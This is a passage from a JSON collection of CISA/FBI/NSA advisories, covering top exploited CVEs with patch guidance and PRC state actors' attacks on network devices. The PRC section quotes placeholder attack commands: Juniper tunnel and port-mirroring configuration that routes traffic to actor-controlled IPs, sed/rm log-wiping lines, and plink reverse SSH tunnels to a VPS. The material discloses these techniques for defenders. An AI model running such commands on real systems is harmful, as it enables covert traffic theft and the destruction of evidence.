Networks](<https://media.defense.gov/2020/Jul/02/2002355501/-1/-1/0/CONFIGURING_IPSEC_VIRTUAL_PRIVATE_NETWORKS_2020_07_01_FINAL_RELEASE.PDF>)\n * CISA Joint Advisory: [AA20-245A: Technical Approaches to Uncovering and Remediating Malicious Activity](<https://us-cert.cisa.gov/ncas/alerts/aa20-245a>)\n * CISA Activity Alert: [AA20-073A: Enterprise VPN Security](<https://us-cert.cisa.gov/ncas/alerts/aa20-073a>)\n * CISA Activity Alert: [AA20-031A: Detecting Citrix CVE-2019-19781](<https://us-cert.cisa.gov/ncas/alerts/aa20-031a>)\n * CISA Activity Alert: [AA20-010A: Continued Exploitation of Pulse Secure VPN Vulnerability](<https://us-cert.cisa.gov/ncas/alerts/aa20-010a>)\n * **Cybersecurity Alerts and Advisories**: Subscriptions to [CISA Alerts](<https://public.govdelivery.com/accounts/USDHSUSCERT/subscriber/new>) and [MS-ISAC Advisories](<https://learn.cisecurity.org/ms-isac-subscription>)\n\n### Contact Information\n\nRecipients of this report are encouraged to contribute any additional information that they may have related to this threat.\n\nFor any questions related to this report or to report an intrusion and request resources for incident response or technical assistance, please contact:\n\n * CISA (888-282-0870 or [Central@cisa.dhs.gov](<mailto:Central@cisa.dhs.gov>)), or\n * The FBI through the FBI Cyber Division (855-292-3937 or [CyWatch@fbi.gov](<mailto:CyWatch@fbi.gov>)) or a [local field office](<https://www.fbi.gov/contact-us/field-offices/field-offices>)\n\n**_DISCLAIMER_**\n\n_This information is provided \"as is\" for informational purposes only. The United States Government does not provide any warranties of any kind regarding this information. In no event shall the United States Government or its contractors or subcontractors be liable for any damages, including but not limited to, direct, indirect, special or consequential damages, arising out of, resulting from, or in any way connected with this information, whether or not based upon warranty, contract, tort, or otherwise, whether or not arising out of negligence, and whether or not injury was sustained from, or arose out of the results of, or reliance upon the information._\n\n_The United States Government does not endorse any commercial product or service, including any subjects of analysis. Any reference to specific commercial products, processes, or services by service mark, trademark, manufacturer, or otherwise, does not constitute or imply their endorsement, recommendation, or favoring by the United States Government._\n\n### References\n\n[[1] Fortinet Advisory: FG-IR-18-384 ](<https://www.fortiguard.com/psirt/FG-IR-18-384>)\n\n[[2] MobileIron Blog: MobileIron Security Updates Available](<https://www.mobileiron.com/en/blog/mobileiron-security-updates-available>)\n\n[[3] Microsoft Security Advisory for CVE-2020-1472](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1472>)\n\n[[4] Microsoft: AD Forest Recovery - Resetting the krbtgt password](<https://docs.microsoft.com/en-us/windows-server/identity/ad-ds/manage/ad-forest-recovery-resetting-the-krbtgt-password>)\n\n### Revisions\n\nOctober 9, 2020: Initial Version|October 11, 2020: Updated Summary|October 12, 2020: Added Additional Links\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-10-24T12:00:00", "type": "ics", "title": "APT Actors Chaining Vulnerabilities Against SLTT, Critical Infrastructure, and Elections Organizations", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-13379", "CVE-2019-11510", "CVE-2019-19781", "CVE-2020-1472", "CVE-2020-15505", "CVE-2020-1631", "CVE-2020-2021", "CVE-2020-5902"], "modified": "2020-10-24T12:00:00", "id": "AA20-283A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-283a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:35:47", "description": "### Summary\n\nThe Cybersecurity and Infrastructure Security Agency (CISA), the Federal Bureau of Investigation (FBI), and the broader U.S. Government are providing this technical guidance to advise IT security professionals at public and private sector organizations to place an increased priority on patching the most commonly known vulnerabilities exploited by sophisticated foreign cyber actors.\n\nThis alert provides details on vulnerabilities routinely exploited by foreign cyber actors\u2014primarily Common Vulnerabilities and Exposures (CVEs)[[1]](<https://cve.mitre.org/cve/ >)\u2014to help organizations reduce the risk of these foreign threats.\n\nForeign cyber actors continue to exploit publicly known\u2014and often dated\u2014software vulnerabilities against broad target sets, including public and private sector organizations. Exploitation of these vulnerabilities often requires fewer resources as compared with zero-day exploits for which no patches are available.\n\nThe public and private sectors could degrade some foreign cyber threats to U.S. interests through an increased effort to patch their systems and implement programs to keep system patching up to date. A concerted campaign to patch these vulnerabilities would introduce friction into foreign adversaries\u2019 operational tradecraft and force them to develop or acquire exploits that are more costly and less widely effective. A concerted patching campaign would also bolster network security by focusing scarce defensive resources on the observed activities of foreign adversaries.\n\nFor indicators of compromise (IOCs) and additional guidance associated with the CVEs in this Alert, see the each entry within the Mitigations section below. Click here for a PDF version of this report.\n\n### Technical Details\n\n## Top 10 Most Exploited Vulnerabilities 2016\u20132019\n\nU.S. Government reporting has identified the top 10 most exploited vulnerabilities by state, nonstate, and unattributed cyber actors from 2016 to 2019 as follows: CVE-2017-11882, CVE-2017-0199, CVE-2017-5638, CVE-2012-0158, CVE-2019-0604, CVE-2017-0143, CVE-2018-4878, CVE-2017-8759, CVE-2015-1641, and CVE-2018-7600.\n\n * According to U.S. Government technical analysis, malicious cyber actors most often exploited vulnerabilities in Microsoft\u2019s Object Linking and Embedding (OLE) technology. OLE allows documents to contain embedded content from other applications such as spreadsheets. After OLE the second-most-reported vulnerable technology was a widespread Web framework known as Apache Struts.\n * Of the top 10, the three vulnerabilities used most frequently across state-sponsored cyber actors from China, Iran, North Korea, and Russia are CVE-2017-11882, CVE-2017-0199, and CVE-2012-0158. All three of these vulnerabilities are related to Microsoft\u2019s OLE technology.\n * As of December 2019, Chinese state cyber actors were frequently exploiting the same vulnerability\u2014CVE-2012-0158\u2014that the U.S. Government publicly assessed in 2015 was the most used in their cyber operations.[[2]](<https://www.us-cert.gov/ncas/alerts/TA15-119A>) This trend suggests that organizations have not yet widely implemented patches for this vulnerability and that Chinese state cyber actors may continue to incorporate dated flaws into their operational tradecraft as long as they remain effective.\n * Deploying patches often requires IT security professionals to balance the need to mitigate vulnerabilities with the need for keeping systems running and ensuring installed patches are compatible with other software. This can require a significant investment of effort, particularly when mitigating multiple flaws at the same time.\n * A U.S. industry study released in early 2019 similarly discovered that the flaws malicious cyber actors exploited the most consistently were in Microsoft and Adobe Flash products, probably because of the widespread use of these technologies.[[3]](<https://www.recordedfuture.com/top-vulnerabilities-2019/>) Four of the industry study\u2019s top 10 most exploited flaws also appear on this Alert\u2019s list, highlighting how U.S. Government and private-sector data sources may complement each other to enhance security.\n\n## Vulnerabilities Exploited in 2020\n\nIn addition to the top 10 vulnerabilities from 2016 to 2019 listed above, the U.S. Government has reported that the following vulnerabilities are being routinely exploited by sophisticated foreign cyber actors in 2020:\n\n * Malicious cyber actors are increasingly targeting unpatched Virtual Private Network vulnerabilities. \n * An arbitrary code execution vulnerability in Citrix VPN appliances, known as CVE-2019-19781, has been detected in exploits in the wild.\n * An arbitrary file reading vulnerability in Pulse Secure VPN servers, known as CVE-2019-11510, continues to be an attractive target for malicious actors.\n * March 2020 brought an abrupt shift to work-from-home that necessitated, for many organizations, rapid deployment of cloud collaboration services, such as Microsoft Office 365 (O365). Malicious cyber actors are targeting organizations whose hasty deployment of Microsoft O365 may have led to oversights in security configurations and vulnerable to attack.\n * Cybersecurity weaknesses\u2014such as poor employee education on social engineering attacks and a lack of system recovery and contingency plans\u2014have continued to make organizations susceptible to ransomware attacks in 2020.\n\n### Mitigations\n\nThis Alert provides mitigations for each of the top vulnerabilities identified above. In addition to the mitigations listed below, CISA, FBI, and the broader U.S. Government recommend that organizations transition away from any end-of-life software.\n\n## Mitigations for the Top 10 Most Exploited Vulnerabilities 2016\u20132019\n\n**Note:** The lists of associated malware corresponding to each CVE below is not meant to be exhaustive but instead is intended to identify a malware family commonly associated with exploiting the CVE. \n\n_**CVE-2017-11882**_\n\n * Vulnerable Products: Microsoft Office 2007 SP3/2010 SP2/2013 SP1/2016 Products\n * Associated Malware: Loki, FormBook, Pony/FAREIT\n * Mitigation: Update affected Microsoft products with the latest security patches\n * More Detail: <https://nvd.nist.gov/vuln/detail/CVE-2017-11882>\n * IOCs: <https://www.us-cert.gov/ncas/analysis-reports/ar20-133e>\n\n_**CVE-2017-0199**_\n\n * Vulnerable Products: Microsoft Office 2007 SP3/2010 SP2/2013 SP1/2016, Vista SP2, Server 2008 SP2, Windows 7 SP1, Windows 8.1\n * Associated Malware: FINSPY, LATENTBOT, Dridex\n * Mitigation: Update affected Microsoft products with the latest security patches\n * More Detail: <https://nvd.nist.gov/vuln/detail/CVE-2017-0199>\n * IOCs: <https://www.us-cert.gov/ncas/analysis-reports/ar20-133g>, <https://www.us-cert.gov/ncas/analysis-reports/ar20-133h>, <https://www.us-cert.gov/ncas/analysis-reports/ar20-133p>\n\n_**CVE-2017-5638**_\n\n * Vulnerable Products: Apache Struts 2 2.3.x before 2.3.32 and 2.5.x before 2.5.10.1\n * Associated Malware: JexBoss\n * Mitigation: Upgrade to Struts 2.3.32 or Struts 2.5.10.1\n * More Detail: \n * <https://www.us-cert.gov/ncas/analysis-reports/AR18-312A>\n * <https://nvd.nist.gov/vuln/detail/CVE-2017-5638>\n\n_**CVE-2012-0158**_\n\n * Vulnerable Products: Microsoft Office 2003 SP3, 2007 SP2 and SP3, and 2010 Gold and SP1; Office 2003 Web Components SP3; SQL Server 2000 SP4, 2005 SP4, and 2008 SP2, SP3, and R2; BizTalk Server 2002 SP1; Commerce Server 2002 SP4, 2007 SP2, and 2009 Gold and R2; Visual FoxPro 8.0 SP1 and 9.0 SP2; and Visual Basic 6.0\n * Associated Malware: Dridex\n * Mitigation: Update affected Microsoft products with the latest security patches\n * More Detail: \n * <https://www.us-cert.gov/ncas/alerts/aa19-339a>\n * <https://nvd.nist.gov/vuln/detail/CVE-2012-0158>\n * IOCs: <https://www.us-cert.gov/ncas/analysis-reports/ar20-133i>, <https://www.us-cert.gov/ncas/analysis-reports/ar20-133j>, <https://www.us-cert.gov/ncas/analysis-reports/ar20-133k>, <https://www.us-cert.gov/ncas/analysis-reports/ar20-133l>, <https://www.us-cert.gov/ncas/analysis-reports/ar20-133n>, <https://www.us-cert.gov/ncas/analysis-reports/ar20-133o>\n\n_**CVE-2019-0604**_\n\n * Vulnerable Products: Microsoft SharePoint\n * Associated Malware: China Chopper\n * Mitigation: Update affected Microsoft products with the latest security patches\n * More Detail: <https://nvd.nist.gov/vuln/detail/CVE-2019-0604>\n\n_**CVE-2017-0143**_\n\n * Vulnerable Products: Microsoft Windows Vista SP2; Windows Server 2008 SP2 and R2 SP1; Windows 7 SP1; Windows 8.1; Windows Server 2012 Gold and R2; Windows RT 8.1; and Windows 10 Gold, 1511, and 1607; and Windows Server 2016\n * Associated Malware: Multiple using the EternalSynergy and EternalBlue Exploit Kit\n * Mitigation: Update affected Microsoft products with the latest security patches\n * More Detail: <https://nvd.nist.gov/vuln/detail/CVE-2017-0143>\n\n_**CVE-2018-4878**_\n\n * Vulnerable Products: Adobe Flash Player before 28.0.0.161\n * Associated Malware: DOGCALL\n * Mitigation: Update Adobe Flash Player installation to the latest version\n * More Detail: <https://nvd.nist.gov/vuln/detail/CVE-2018-4878>\n * IOCs: <https://www.us-cert.gov/ncas/analysis-reports/ar20-133d>\n\n**_CVE-2017-8759_**\n\n * Vulnerable Products: Microsoft .NET Framework 2.0, 3.5, 3.5.1, 4.5.2, 4.6, 4.6.1, 4.6.2 and 4.7\n * Associated Malware: FINSPY, FinFisher, WingBird\n * Mitigation: Update affected Microsoft products with the latest security patches\n * More Detail: <https://nvd.nist.gov/vuln/detail/CVE-2017-8759>\n * IOCs: <https://www.us-cert.gov/ncas/analysis-reports/ar20-133f>\n\n_**CVE-2015-1641**_\n\n * Vulnerable Products: Microsoft Word 2007 SP3, Office 2010 SP2, Word 2010 SP2, Word 2013 SP1, Word 2013 RT SP1, Word for Mac 2011, Office Compatibility Pack SP3, Word Automation Services on SharePoint Server 2010 SP2 and 2013 SP1, and Office Web Apps Server 2010 SP2 and 2013 SP1\n * Associated Malware: Toshliph, UWarrior\n * Mitigation: Update affected Microsoft products with the latest security patches\n * More Detail: <https://nvd.nist.gov/vuln/detail/CVE-2015-1641>\n * IOCs: <https://www.us-cert.gov/ncas/analysis-reports/ar20-133m>\n\n_**CVE-2018-7600**_\n\n * Vulnerable Products: Drupal before 7.58, 8.x before 8.3.9, 8.4.x before 8.4.6, and 8.5.x before 8.5.1\n * Associated Malware: Kitty\n * Mitigation: Upgrade to the most recent version of Drupal 7 or 8 core.\n * More Detail: <https://nvd.nist.gov/vuln/detail/CVE-2018-7600>\n\n## Mitigations for Vulnerabilities Exploited in 2020\n\n**_CVE-2019-11510_**\n\n * Vulnerable Products: Pulse Connect Secure 9.0R1 - 9.0R3.3, 8.3R1 - 8.3R7, 8.2R1 - 8.2R12, 8.1R1 - 8.1R15 and Pulse Policy Secure 9.0R1 - 9.0R3.1, 5.4R1 - 5.4R7, 5.3R1 - 5.3R12, 5.2R1 - 5.2R12, 5.1R1 - 5.1R15\n * Mitigation: Update affected Pulse Secure devices with the latest security patches.\n * More Detail: \n * <https://www.us-cert.gov/ncas/alerts/aa20-107a>\n * <https://nvd.nist.gov/vuln/detail/CVE-2019-11510>\n * <https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/>\n\n_**CVE-2019-19781**_\n\n * Vulnerable Products: Citrix Application Delivery Controller, Citrix Gateway, and Citrix SDWAN WANOP\n * Mitigation: Update affected Citrix devices with the latest security patches\n * More Detail: \n * <https://www.us-cert.gov/ncas/alerts/aa20-020a>\n * <https://www.us-cert.gov/ncas/alerts/aa20-031a>\n * <https://www.fireeye.com/blog/products-and-services/2020/01/fireeye-and-citrix-tool-scans-for-iocs-related-to-vulnerability.html>\n * <https://nvd.nist.gov/vuln/detail/CVE-2019-19781>\n * <https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/>\n\n_**Oversights in Microsoft O365 Security Configurations**_\n\n * Vulnerable Products: Microsoft O365\n * Mitigation: Follow Microsoft O365 security recommendations\n * More Detail: <https://www.us-cert.gov/ncas/alerts/aa20-120a>\n\n**_Organizational Cybersecurity Weaknesses_**\n\n * Vulnerable Products: Systems, networks, and data\n * Mitigation: Follow cybersecurity best practices\n * More Detail: <https://www.cisa.gov/cyber-essentials>\n\n## CISA\u2019s Free Cybersecurity Services\n\nAdversaries use known vulnerabilities and phishing attacks to compromise the security of organizations. CISA offers several free scanning and testing services to help organizations reduce their exposure to threats by taking a proactive approach to mitigating attack vectors.\n\n**Cyber Hygiene: Vulnerability Scanning** helps secure your internet-facing systems from weak configuration and known vulnerabilities. It also encourages organizations to adopt modern security best practices. CISA performs regular network and vulnerability scans and delivers a weekly report for your action. Once initiated, this service is mostly automated and requires little direct interaction. After CISA receives the required paperwork for Cyber Hygiene, our scans will start within 72 hours and you\u2019ll begin receiving reports within two weeks.\n\n**Web Application Service** checks your publicly accessible web sites for potential bugs and weak configurations. It provides a \u201csnapshot\u201d of your publicly accessible web applications and also checks functionality and performance in your application. \nIf your organization would like these services or want more information about other useful services, please email [vulnerability_info@cisa.dhs.gov](<mailto:vulnerability_info@cisa.dhs.gov>).\n\n## CISA Online Resources\n\nThe Patch Factory: CISA infographic depicting the global infrastructure for managing vulnerabilities.\n\n[CISA Alert: (AA20-120A) Microsoft Office 365 Security Recommendations](<https://www.us-cert.gov/ncas/alerts/aa20-120a>): recommendations for organizations to review and ensure their O365 environment is configured to protect, detect, and respond against would-be attackers.\n\n[CISA\u2019s Cyber Essentials](<https://www.cisa.gov/cyber-essentials>): a guide for leaders of small businesses as well as leaders of small and local government agencies to develop an actionable understanding of where to start implementing organizational cybersecurity practices.\n\n### Contact Information\n\nIf you have any further questions related to this Joint Alert, please contact the FBI at either your local Cyber Task Force or FBI CyWatch.\n\n * You can find your local field offices at <https://www.fbi.gov/contact-us/field>\n * CyWatch can be contacted through e-mail at [cywatch@fbi.gov](<mailto:cywatch@fbi.gov>) or by phone at 1-855-292-3937\n\nTo request incident response resources or technical assistance related to these threats, contact CISA at [CISAServiceDesk@cisa.dhs.gov](<mailto:CISAServiceDesk@cisa.dhs.gov>).\n\n### References\n\n[[1] Cybersecurity Vulnerabilities and Exposures (CVE) list](<https://cve.mitre.org/cve/>)\n\n[[2] CISA Alert (TA15-119A). Top 30 Targeted High Risk Vulnerabilities. (2016, September 29)](<https://www.us-cert.gov/ncas/alerts/TA15-119A>)\n\n[[3] Recorded Future. 2019 Vulnerability Report: Cybercriminals Continue to Target Microsoft Products. (2020, February 4)](<https://www.recordedfuture.com/top-vulnerabilities-2019/>)\n\n### Revisions\n\nMay 12, 2020: Initial Version\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2020-05-12T12:00:00", "type": "ics", "title": "Top 10 Routinely Exploited Vulnerabilities", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2012-0158", "CVE-2015-1641", "CVE-2017-0143", "CVE-2017-0199", "CVE-2017-11882", "CVE-2017-5638", "CVE-2017-8759", "CVE-2018-4878", "CVE-2018-7600", "CVE-2019-0604", "CVE-2019-11510", "CVE-2019-19781"], "modified": "2020-05-12T12:00:00", "id": "AA20-133A", "href": "https://www.cisa.gov/news-events/cybersecurity-advisories/aa20-133a", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-03-14T18:26:44", "description": "### Summary\n\nBest Practices \n\u2022 Apply patches as soon as possible \n\u2022 Disable unnecessary ports and protocols \n\u2022 Replace end-of-life infrastructure \n\u2022 Implement a centralized patch management system\n\nThis joint Cybersecurity Advisory describes the ways in which People\u2019s Republic of China (PRC) state-sponsored cyber actors continue to exploit publicly known vulnerabilities in order to establish a broad network of compromised infrastructure. These actors use the network to exploit a wide variety of targets worldwide, including public and private sector organizations. The advisory details the targeting and compromise of major telecommunications companies and network service providers and the top vulnerabilities\u2014primarily Common Vulnerabilities and Exposures (CVEs)\u2014associated with network devices routinely exploited by the cyber actors since 2020.\n\nThis joint Cybersecurity Advisory was coauthored by the National Security Agency (NSA), the Cybersecurity and Infrastructure Security Agency (CISA), and the Federal Bureau of Investigation (FBI). It builds on previous NSA, CISA, and FBI reporting to inform federal and state, local, tribal, and territorial (SLTT) government; critical infrastructure (CI), including the Defense Industrial Base (DIB); and private sector organizations about notable trends and persistent tactics, techniques, and procedures (TTPs).\n\nEntities can mitigate the vulnerabilities listed in this advisory by applying the available patches to their systems, replacing end-of-life infrastructure, and implementing a centralized patch management program.\n\nNSA, CISA, and the FBI urge U.S. and allied governments, CI, and private industry organizations to apply the recommendations listed in the Mitigations section and Appendix A: Vulnerabilities to increase their defensive posture and reduce the risk of PRC state-sponsored malicious cyber actors affecting their critical networks.\n\nFor more information on PRC state-sponsored malicious cyber activity, see CISA\u2019s [China Cyber Threat Overview and Advisories](<https://www.cisa.gov/uscert/china>) webpage.\n\n[Click here](<https://media.defense.gov/2022/Jun/07/2003013376/-1/-1/0/CSA_PRC_SPONSORED_CYBER_ACTORS_EXPLOIT_NETWORK_PROVIDERS_DEVICES_TLPWHITE.PDF>) for PDF.\n\n### Common vulnerabilities exploited by People\u2019s Republic of China state-sponsored cyber actors\n\nPRC state-sponsored cyber actors readily exploit vulnerabilities to compromise unpatched network devices. Network devices, such as Small Office/Home Office (SOHO) routers and Network Attached Storage (NAS) devices, serve as additional access points to route command and control (C2) traffic and act as midpoints to conduct network intrusions on other entities. Over the last few years, a series of high-severity vulnerabilities for network devices provided cyber actors with the ability to regularly exploit and gain access to vulnerable infrastructure devices. In addition, these devices are often overlooked by cyber defenders, who struggle to maintain and keep pace with routine software patching of Internet-facing services and endpoint devices.\n\nSince 2020, PRC state-sponsored cyber actors have conducted widespread campaigns to rapidly exploit publicly identified security vulnerabilities, also known as common vulnerabilities and exposures (CVEs). This technique has allowed the actors to gain access into victim accounts using publicly available exploit code against virtual private network (VPN) services [[T1133](<https://attack.mitre.org/techniques/T1133/>)] or public facing applications [[T1190](<https://attack.mitre.org/techniques/T1190/>)]\u2014without using their own distinctive or identifying malware\u2014so long as the actors acted before victim organizations updated their systems. \n\nPRC state-sponsored cyber actors typically conduct their intrusions by accessing compromised servers called hop points from numerous China-based Internet Protocol (IP) addresses resolving to different Chinese Internet service providers (ISPs). The cyber actors typically obtain the use of servers by leasing remote access directly or indirectly from hosting providers. They use these servers to register and access operational email accounts, host C2 domains, and interact with victim networks. Cyber actors use these hop points as an obfuscation technique when interacting with victim networks.\n\nThese cyber actors are also consistently evolving and adapting tactics to bypass defenses. NSA, CISA, and the FBI have observed state-sponsored cyber actors monitoring network defenders\u2019 accounts and actions, and then modifying their ongoing campaign as needed to remain undetected. Cyber actors have modified their infrastructure and toolsets immediately following the release of information related to their ongoing campaigns. PRC state-sponsored cyber actors often mix their customized toolset with publicly available tools, especially by leveraging tools that are native to the network environment, to obscure their activity by blending into the noise or normal activity of a network.\n\nNSA, CISA, and the FBI consider the common vulnerabilities and exposures (CVEs) listed in Table 1 to be the network device CVEs most frequently exploited by PRC state-sponsored cyber actors since 2020.\n\n_**Table 1: Top network device CVEs exploited by PRC state-sponsored cyber actors**_\n\nVendor CVE Vulnerability Type \n--- \nCisco | CVE-2018-0171 | Remote Code Execution \nCVE-2019-15271 | RCE \nCVE-2019-1652 | RCE \nCitrix | CVE-2019-19781 | RCE \nDrayTek | CVE-2020-8515 | RCE \nD-Link | CVE-2019-16920 | RCE \nFortinet | CVE-2018-13382 | Authentication Bypass \nMikroTik | CVE-2018-14847 | Authentication Bypass \nNetgear | CVE-2017-6862 | RCE \nPulse | CVE-2019-11510 | Authentication Bypass \nCVE-2021-22893 | RCE \nQNAP | CVE-2019-7192 | Privilege Elevation \nCVE-2019-7193 | Remote Inject \nCVE-2019-7194 | XML Routing Detour Attack \nCVE-2019-7195 | XML Routing Detour Attack \nZyxel | CVE-2020-29583 | Authentication Bypass \n \n### Telecommunications and network service provider targeting\n\nPRC state-sponsored cyber actors frequently utilize open-source tools for reconnaissance and vulnerability scanning. The actors have utilized open-source router specific software frameworks, RouterSploit and RouterScan [[T1595.002](<https://attack.mitre.org/techniques/T1595/002/>)], to identify makes, models, and known vulnerabilities for further investigation and exploitation. The RouterSploit Framework is an open-source exploitation framework dedicated to embedded devices. RouterScan is an open-source tool that easily allows for the scanning of IP addresses for vulnerabilities. These tools enable exploitation of SOHO and other routers manufactured by major industry providers, including Cisco, Fortinet, and MikroTik.\n\nUpon gaining an initial foothold into a telecommunications organization or network service provider, PRC state-sponsored cyber actors have identified critical users and infrastructure including systems critical to maintaining the security of authentication, authorization, and accounting. After identifying a critical Remote Authentication Dial-In User Service (RADIUS) server, the cyber actors gained credentials to access the underlying Structured Query Language (SQL) database [[T1078](<https://attack.mitre.org/techniques/T1078/>)] and utilized SQL commands to dump the credentials [[T1555](<https://attack.mitre.org/techniques/T1555/>)], which contained both cleartext and hashed passwords for user and administrative accounts. \n\nHaving gained credentials from the RADIUS server, PRC state-sponsored cyber actors used those credentials with custom automated scripts to authenticate to a router via Secure Shell (SSH), execute router commands, and save the output [[T1119](<https://attack.mitre.org/techniques/T1119/>)]. These scripts targeted Cisco and Juniper routers and saved the output of the executed commands, including the current configuration of each router. After successfully capturing the command output, these configurations were exfiltrated off network to the actor\u2019s infrastructure [[TA0010](<https://attack.mitre.org/tactics/TA0010/>)]. The cyber actors likely used additional scripting to further automate the exploitation of medium to large victim networks, where routers and switches are numerous, to gather massive numbers of router configurations that would be necessary to successfully manipulate traffic within the network.\n\nArmed with valid accounts and credentials from the compromised RADIUS server and the router configurations, the cyber actors returned to the network and used their access and knowledge to successfully authenticate and execute router commands to surreptitiously route [[T1599](<https://attack.mitre.org/techniques/T1599/>)], capture [[T1020.001](<https://attack.mitre.org/techniques/T1020/001/>)], and exfiltrate traffic out of the network to actor-controlled infrastructure. \n\nWhile other manufacturers likely have similar commands, the cyber actors executed the following commands on a Juniper router to perform initial tunnel configuration for eventual exfiltration out of the network:\n\nset chassis fpc <slot number> pic <user defined value> tunnel-services bandwidth <user defined value> \nset chassis network-services all-ethernet \nset interfaces <interface-id> unit <unit number> tunnel source <local network IP address> \nset interfaces <interface-id> unit <unit number> tunnel destination <actor controlled IP address> \n\n\nAfter establishing the tunnel, the cyber actors configured the local interface on the device and updated the routing table to route traffic to actor-controlled infrastructure.\n\nset interfaces <interface-id> unit <unit number> family inet address <local network IP address subnet> \nset routing-options static route <local network IP address> next-hop <actor controlled IP address> \n\n\nPRC state-sponsored cyber actors then configured port mirroring to copy all traffic to the local interface, which was subsequently forwarded through the tunnel out of the network to actor-controlled infrastructure. \n\nset firewall family inet filter <filter name> term <filter variable> then port-mirror \nset forwarding-options port-mirroring input rate 1 \nset forwarding-options port-mirroring family inet output interface <interface-id> next-hop <local network IP address> \nset forwarding-options port-mirroring family inet output no-filter-check \nset interfaces <interface-id> unit <unit number> family inet filter input <filter name> \nset interfaces <interface-id> unit <unit number> family inet filter output <filter name> \n\n\nHaving completed their configuration changes, the cyber actors often modified and/or removed local log files to destroy evidence of their activity to further obfuscate their presence and evade detection.\n\nsed -i -e '/<REGEX>/d' <log filepath 1> \nsed -i -e '/<REGEX>/d' <log filepath 2> \nsed -i -e '/<REGEX>/d' <log filepath 3> \nrm -f <log filepath 4> \nrm -f <log filepath 5> \nrm -f <log filepath 6> \n\n\nPRC state-sponsored cyber actors also utilized command line utility programs like PuTTY Link (Plink) to establish SSH tunnels [[T1572](<https://attack.mitre.org/techniques/T1572/>)] between internal hosts and leased virtual private server (VPS) infrastructure. These actors often conducted system network configuration discovery [[T1016.001](<https://attack.mitre.org/techniques/T1016/001/>)] on these host networks by sending hypertext transfer protocol (HTTP) requests to C2 infrastructure in order to illuminate the external public IP address.\n\nplink.exe \u2013N \u2013R <local port>:<host 1>:<remote port> -pw <user defined password> -batch root@<VPS1> -P <remote SSH port> \nplink.exe \u2013N \u2013R <local port>:<host 2>:<remote port> -pw <user defined password> -batch root@<VPS2> -P <remote SSH port> \n\n\n### Mitigations\n\nNSA, CISA, and the FBI urge organizations to apply the following recommendations as well as the mitigation and detection recommendations in Appendix A, which are tailored to observed tactics and techniques. While some vulnerabilities have specific additional mitigations below, the following mitigations generally apply:\n\n * Keep systems and products updated and patched as soon as possible after patches are released [[D3-SU](<https://d3fend.mitre.org/technique/d3f:SoftwareUpdate/>)] . Consider leveraging a centralized patch management system to automate and expedite the process.\n * Immediately remove or isolate suspected compromised devices from the network [[D3-ITF](<https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering/>)] [[D3-OTF](<https://d3fend.mitre.org/technique/d3f:OutboundTrafficFiltering/>)].\n * Segment networks to limit or block lateral movement [[D3-NI](<https://d3fend.mitre.org/technique/d3f:NetworkIsolation>)]. \n * Disable unused or unnecessary network services, ports, protocols, and devices [[D3-ACH](<https://d3fend.mitre.org/technique/d3f:ApplicationConfigurationHardening/>)] [[D3-ITF](<https://d3fend.mitre.org/technique/d3f:InboundTrafficFiltering/>)] [[D3-OTF](<https://d3fend.mitre.org/technique/d3f:OutboundTrafficFiltering/>)]. \n * Enforce multifactor authentication (MFA) for all users, without exception [[D3-MFA](<https://d3fend.mitre.org/technique/d3f:Multi-factorAuthentication/>)]. \n * Enforce MFA on all VPN connections [[D3-MFA](<https://d3fend.mitre.org/technique/d3f:Multi-factorAuthentication/>)]. If MFA is unavailable, enforce password complexity requirements [[D3-SPP](<https://d3fend.mitre.org/technique/d3f:StrongPasswordPolicy/>)]. \n * Implement strict password requirements, enforcing password complexity, changing passwords at a defined frequency, and performing regular account reviews to ensure compliance [[D3-SPP](<https://d3fend.mitre.org/technique/d3f:StrongPasswordPolicy/>)].\n * Perform regular data backup procedures and maintain up-to-date incident response and recovery procedures. \n * Disable external management capabilities and set up an out-of-band management network [[D3-NI](<https://d3fend.mitre.org/technique/d3f:NetworkIsolation/>)].\n * Isolate Internet-facing services in a network 